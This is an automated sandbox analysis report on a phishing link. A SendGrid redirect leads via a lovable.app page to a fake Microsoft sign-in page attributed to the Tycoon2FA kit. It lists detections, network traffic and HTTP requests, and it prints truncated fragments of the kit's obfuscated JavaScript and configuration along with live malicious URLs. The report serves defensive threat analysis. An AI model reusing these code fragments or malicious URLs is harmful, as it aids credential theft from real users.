Edit tour

Windows Analysis Report
https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhH0PbOaM-2FozlgiDV4KjxhypvjZewbywGZ4Q7g1wJEm8gOHO-2Fj-2Fy-2BeuUQs1H9VVa-2Brw-3D-3DA1Is_kVOBfQCxFG4-2FXIG8yX-2FGfqi8-2BWigF8C7RpBSvNc2aGXOogUEviQR-2F9AW4AqQYutZIq3lAWf2XC63-2F3cBIBI8SQcUp5qgb33TJa8U97ZQ5cQdCEnEMPutRmDhXXK795C

Overview

General Information

Sample URL:https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhH0PbOaM-2FozlgiDV4KjxhypvjZewbywGZ4Q7g1wJEm8gOHO-2Fj-2Fy-2BeuUQs1H9VVa-2Brw-3D-3DA1Is_kVOBfQCxFG4-2FXIG8yX-2FGfqi8-2BWigF8C
Analysis ID:1642938
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA
Score:100
Range:0 - 100
Confidence:100%

Signatures

AI detected phishing page
Antivirus detection for URL or domain
Yara detected AntiDebug via timestamp check
Yara detected HtmlPhish10
Yara detected Invisible JS
Yara detected Obfuscation Via HangulCharacter
Yara detected Tycoon 2FA PaaS
AI detected suspicious Javascript
Creates files inside the system directory
Deletes files inside the Windows folder
Detected suspicious crossdomain redirect
HTML body contains low number of good links
HTML body contains password input but no form action
HTML page contains hidden javascript code
HTML title does not match URL
Invalid T&C link found
Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

RansomwareSpreadingPhishingBankerTrojan / BotAdwareSpywareExploiterEvaderMinercleansuspiciousmalicious
  • System is w10x64_ra
  • chrome.exe (PID: 6892 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)
    • chrome.exe (PID: 7088 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2012,i,4693604612114877436,12251102111076231805,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=1564 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)
  • chrome.exe (PID: 1820 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhH0PbOaM-2FozlgiDV4KjxhypvjZewbywGZ4Q7g1wJEm8gOHO-2Fj-2Fy-2BeuUQs1H9VVa-2Brw-3D-3DA1Is_kVOBfQCxFG4-2FXIG8yX-2FGfqi8-2BWigF8C7RpBSvNc2aGXOogUEviQR-2F9AW4AqQYutZIq3lAWf2XC63-2F3cBIBI8SQcUp5qgb33TJa8U97ZQ5cQdCEnEMPutRmDhXXK795CYEJe8HbeAxSgjYkIC801CRDbuheOUeU7jpL2caFIX7m5r1-2BUeK2nHNMjrKykedf2hRgzpHe7uHe79N9sO-2B91JbIs4NZci-2F59qir2l6689wL8-3D&c=E,1,C_-9gUIHEPOk9L8PCpP9cCALx1hNX2e1W8H8gSQ9Qow47gwGLsMxgWEZPUB0mUA4ruJudoUOzX2dY5WML5U_JEKzPaJ-lLU-19K4Ky7KwAIqQSqy_58,&typo=1" MD5: E81F54E6C1129887AEA47E7D092680BF)
  • cleanup
SourceRuleDescriptionAuthorStrings
dropped/chromecache_134JoeSecurity_HangulCharacterYara detected Obfuscation Via HangulCharacterJoe Security
    SourceRuleDescriptionAuthorStrings
    1.3.d.script.csvJoeSecurity_Tycoon2FA_1Yara detected Tycoon 2FA PaaSJoe Security
      1.3.d.script.csvJoeSecurity_AntiDebugBrowserYara detected AntiDebug via timestamp checkJoe Security
        1.4.d.script.csvJoeSecurity_HangulCharacterYara detected Obfuscation Via HangulCharacterJoe Security
          1.9..script.csvJoeSecurity_Tycoon2FA_1Yara detected Tycoon 2FA PaaSJoe Security
            1.4.d.script.csvJoeSecurity_InvisibleJSYara detected Invisible JSJoe Security
              Click to see the 22 entries
              No Sigma rule has matched
              No Suricata rule has matched

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Source: https://clever-link-safeguard.lovable.app/assets/index-B7e2QGH1.jsAvira URL Cloud: Label: malware
              Source: https://clever-link-safeguard.lovable.app/assets/index-WhSeoKW2.cssAvira URL Cloud: Label: malware
              Source: https://clever-link-safeguard.lovable.app/cdn-cgi/rum?Avira URL Cloud: Label: malware
              Source: https://clever-link-safeguard.lovable.app/favicon.icoAvira URL Cloud: Label: malware

              Phishing

              barindex
              Source: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFJoe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'mw35.ntnjxtm.es' does not match the legitimate domain for Microsoft., The URL uses a domain extension '.es' which is not typically associated with Microsoft., The URL contains a subdomain 'mw35.ntnjxtm' which is not recognized as a legitimate Microsoft subdomain., The presence of input fields for 'Email, phone, or Skype' is typical for Microsoft services, but the URL does not match Microsoft's domain, raising suspicion. DOM: 2.6.pages.csv
              Source: Yara matchFile source: 2.6.pages.csv, type: HTML
              Source: Yara matchFile source: 2.7.pages.csv, type: HTML
              Source: Yara matchFile source: 2.8.pages.csv, type: HTML
              Source: Yara matchFile source: 1.4.d.script.csv, type: HTML
              Source: Yara matchFile source: 1.3.pages.csv, type: HTML
              Source: Yara matchFile source: 1.4.pages.csv, type: HTML
              Source: Yara matchFile source: 1.4.d.script.csv, type: HTML
              Source: Yara matchFile source: 1.3.pages.csv, type: HTML
              Source: Yara matchFile source: 2.22..script.csv, type: HTML
              Source: Yara matchFile source: 1.4.pages.csv, type: HTML
              Source: Yara matchFile source: dropped/chromecache_134, type: DROPPED
              Source: Yara matchFile source: 2.19.d.script.csv, type: HTML
              Source: Yara matchFile source: 1.3.d.script.csv, type: HTML
              Source: Yara matchFile source: 1.9..script.csv, type: HTML
              Source: Yara matchFile source: 1.3.pages.csv, type: HTML
              Source: Yara matchFile source: 2.14..script.csv, type: HTML
              Source: Yara matchFile source: 1.12.d.script.csv, type: HTML
              Source: Yara matchFile source: 2.15..script.csv, type: HTML
              Source: Yara matchFile source: 1.4.pages.csv, type: HTML
              Source: Yara matchFile source: 2.6.pages.csv, type: HTML
              Source: Yara matchFile source: 2.7.pages.csv, type: HTML
              Source: Yara matchFile source: 2.8.pages.csv, type: HTML
              Source: 1.3.d.script.csvJoe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates several high-risk behaviors, including detecting browser automation tools, disabling keyboard shortcuts, blocking right-click context menus, and redirecting the user to an external website. The combination of these behaviors suggests a highly suspicious and potentially malicious script.
              Source: 1.4.d.script.csvJoe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates high-risk behaviors, including dynamic code execution through the use of `eval()` and the potential for data exfiltration. The obfuscated code and encoded strings further increase the risk. Overall, this script exhibits a high level of malicious intent and should be treated with caution.
              Source: 1.5..script.csvJoe Sandbox AI: Detected suspicious JavaScript with source url: https://mw35.ntnjxtm.es/7nMfbs/... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` and `decodeURIComponent()` to decode and execute remote code is a clear indicator of malicious intent. Additionally, the script appears to be sending data to an unknown domain, which raises further concerns about potential data exfiltration. Overall, this script demonstrates a high level of risk and should be treated with caution.
              Source: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFHTTP Parser: Number of links: 0
              Source: https://login.microsoftonline.com/common/SAS/ProcessAuthHTTP Parser: Number of links: 1
              Source: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFHTTP Parser: <input type="password" .../> found but no <form action="...
              Source: https://mw35.ntnjxtm.es/7nMfbs/HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Portfolio & Agency - Modern Design</title> <link href="https://fonts.googleapis.com/css2?family=Montserrat...
              Source: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFHTTP Parser: Title: Login To Your Secure Portal does not match URL
              Source: https://login.microsoftonline.com/common/SAS/ProcessAuthHTTP Parser: Title: Sign in to your account does not match URL
              Source: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFHTTP Parser: Invalid link: Terms of use
              Source: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFHTTP Parser: Invalid link: Privacy & cookies
              Source: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFHTTP Parser: Invalid link: Terms of use
              Source: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFHTTP Parser: Invalid link: Privacy & cookies
              Source: https://mw35.ntnjxtm.es/7nMfbs/HTTP Parser: function kcgfnfgaqp(){sjzaaftrrf = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagpg1ldgegy2hhcnnldd0ivvrgltgipgogidxtzxrhig5hbwu9inzpzxdwb3j0iibjb250zw50psj3awr0ad1kzxzpy2utd2lkdggsigluaxrpywwtc2nhbgu9ms4wij4kica8dgl0bgu+vgvjacbtb2x1dglvbnmglsbjbm5vdmf0aw5nihrozsbgdxr1cmu8l3rpdgxlpgogidxzdhlszt4kicagigjvzhkgewogicagicbmb250lwzhbwlsetogqxjpywwsihnhbnmtc2vyawy7ciagicagigxpbmutagvpz2h0oiaxljy7ciagicagig1hcmdpbjogmdskicagicagcgfkzgluzzogmdskicagicagymfja2dyb3vuzc1jb2xvcjogi2y0zjrmndskicagicagy29sb3i6icmzmzm7ciagicb9ciagicbozwfkzxigewogicagicbiywnrz3jvdw5koiajmda1ytllowogicagicbjb2xvcjogi2zmzjskicagicagcgfkzgluzzogmjbwecawowogicagicb0zxh0lwfsawduoibjzw50zxi7ciagicb9ciagicbozwfkzxigadegewogicagicbtyxjnaw46ida7ciagicagigzvbnqtc2l6ztogmi41cmvtowogicagfqogicagbmf2ihskicagicagymfja2dyb3vuzdogizmzmzskicagicagy29sb3i6icnmzmy7ciagicagihbhzgrpbmc6idewchg7ciagicagihrlehqtywxpz246ignlbnrlcjskicagih0kicagig5hdibhihskicagicagy29sb3i6icnmzmy7ciagicagihrlehqtzgvjb3jhdglvbjogbm9uztskicagicagbwfyz2luoiawide1chg7c...
              Source: anonymous functionHTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "gpjjq";var emailcheck = "0";var webname = "rtrim(/web8/, '/')";var urlo = "/xhlw4mar3xlede1j0l0mdizsdcmn6u7qdwjdkmakgx5fyj0tmcm";var gdf = "/ghivq7gjoso1b26pryznnzfzscwpnbwzbp1t4cd117";var odf = "/ghlhdhklinming8roo27ddrlwx5s9oxn9ddccd642";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = false;if(useragent.match(/edg/i)){ browser...
              Source: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFHTTP Parser: <input type="password" .../> found
              Source: https://clever-link-safeguard.lovable.app/HTTP Parser: No favicon
              Source: https://clever-link-safeguard.lovable.app/HTTP Parser: No favicon
              Source: https://clever-link-safeguard.lovable.app/HTTP Parser: No favicon
              Source: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFHTTP Parser: No favicon
              Source: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFHTTP Parser: No favicon
              Source: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFHTTP Parser: No <meta name="author".. found
              Source: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFHTTP Parser: No <meta name="author".. found
              Source: https://login.microsoftonline.com/common/SAS/ProcessAuthHTTP Parser: No <meta name="author".. found
              Source: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFHTTP Parser: No <meta name="copyright".. found
              Source: https://mw35.ntnjxtm.es/gyohxotfstddqeczawlijzeexcjdzuwvwekguldzzjjtxw7a5lc3javgevefczjsvf?SNVMNSSEKPXSSYIIDYKFHTTP Parser: No <meta name="copyright".. found
              Source: https://login.microsoftonline.com/common/SAS/ProcessAuthHTTP Parser: No <meta name="copyright".. found
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeDirectory created: C:\Program Files\Google\Chrome\Application\Dictionaries
              Source: unknownHTTPS traffic detected: 167.89.123.53:443 -> 192.168.2.16:49703 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 167.89.123.53:443 -> 192.168.2.16:49702 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 185.158.133.1:443 -> 192.168.2.16:49704 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.18.29.167:443 -> 192.168.2.16:49707 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.16.80.73:443 -> 192.168.2.16:49708 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 185.158.133.1:443 -> 192.168.2.16:49714 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 216.58.212.164:443 -> 192.168.2.16:49716 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.16:49725 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.16:49724 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 151.101.2.137:443 -> 192.168.2.16:49727 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.18.94.41:443 -> 192.168.2.16:49728 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.16:49729 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.16:49732 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.16:49733 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.51.122:443 -> 192.168.2.16:49734 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.51.122:443 -> 192.168.2.16:49735 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.16:49743 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49744 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49746 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 13.33.187.120:443 -> 192.168.2.16:49756 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 13.33.187.120:443 -> 192.168.2.16:49757 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 13.33.187.120:443 -> 192.168.2.16:49758 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.16:49755 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.16:49759 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 13.33.187.96:443 -> 192.168.2.16:49760 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49803 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49805 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.16:49806 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.16:49807 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.16:49808 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.16:49809 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 40.126.31.128:443 -> 192.168.2.16:49814 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 40.126.31.128:443 -> 192.168.2.16:49815 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 95.101.182.65:443 -> 192.168.2.16:49820 version: TLS 1.2
              Source: unknownHTTPS traffic detected: 20.190.160.4:443 -> 192.168.2.16:49835 version: TLS 1.2
              Source: chrome.exeMemory has grown: Private usage: 12MB later: 38MB
              Source: C:\Program Files\Google\Chrome\Application\chrome.exeHTTP traffic: Redirect from: u17065553.ct.sendgrid.net to https://clever-link-safeguard.lovable.app/
              Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
              Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
              Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
              Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
              Source: unknownTCP traffic detected without corresponding DNS query: 52.182.143.211
              Source: unknownTCP traffic detected without corresponding DNS query: 52.182.143.211
              Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
              Source: unknownTCP traffic detected without corresponding DNS query: 52.182.143.211
              Source: unknownTCP traffic detected without corresponding DNS query: 52.182.143.211
              Source: unknownTCP traffic detected without corresponding DNS query: 52.182.143.211
              Source: unknownTCP traffic detected without corresponding DNS query: 52.182.143.211
              Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownTCP traffic detected without corresponding DNS query: 52.182.143.211
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
              Source: global trafficHTTP traffic detected: GET /ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhH0PbOaM-2FozlgiDV4KjxhypvjZewbywGZ4Q7g1wJEm8gOHO-2Fj-2Fy-2BeuUQs1H9VVa-2Brw-3D-3DA1Is_kVOBfQCxFG4-2FXIG8yX-2FGfqi8-2BWigF8C7RpBSvNc2aGXOogUEviQR-2F9AW4AqQYutZIq3lAWf2XC63-2F3cBIBI8SQcUp5qgb33TJa8U97ZQ5cQdCEnEMPutRmDhXXK795CYEJe8HbeAxSgjYkIC801CRDbuheOUeU7jpL2caFIX7m5r1-2BUeK2nHNMjrKykedf2hRgzpHe7uHe79N9sO-2B91JbIs4NZci-2F59qir2l6689wL8-3D&c=E,1,C_-9gUIHEPOk9L8PCpP9cCALx1hNX2e1W8H8gSQ9Qow47gwGLsMxgWEZPUB0mUA4ruJudoUOzX2dY5WML5U_JEKzPaJ-lLU-19K4Ky7KwAIqQSqy_58,&typo=1 HTTP/1.1Host: u17065553.ct.sendgrid.netConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET / HTTP/1.1Host: clever-link-safeguard.lovable.appConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /assets/index-WhSeoKW2.css HTTP/1.1Host: clever-link-safeguard.lovable.appConnection: keep-aliveOrigin: https://clever-link-safeguard.lovable.appsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://clever-link-safeguard.lovable.app/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /assets/index-B7e2QGH1.js HTTP/1.1Host: clever-link-safeguard.lovable.appConnection: keep-aliveOrigin: https://clever-link-safeguard.lovable.appsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://clever-link-safeguard.lovable.app/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /gptengineer.js HTTP/1.1Host: cdn.gpteng.coConnection: keep-aliveOrigin: https://clever-link-safeguard.lovable.appsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://clever-link-safeguard.lovable.app/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015 HTTP/1.1Host: static.cloudflareinsights.comConnection: keep-aliveOrigin: https://clever-link-safeguard.lovable.appsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://clever-link-safeguard.lovable.app/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /favicon.ico HTTP/1.1Host: clever-link-safeguard.lovable.appConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://clever-link-safeguard.lovable.app/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /favicon.ico HTTP/1.1Host: clever-link-safeguard.lovable.appConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /7nMfbs/ HTTP/1.1Host: mw35.ntnjxtm.esConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://clever-link-safeguard.lovable.app/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
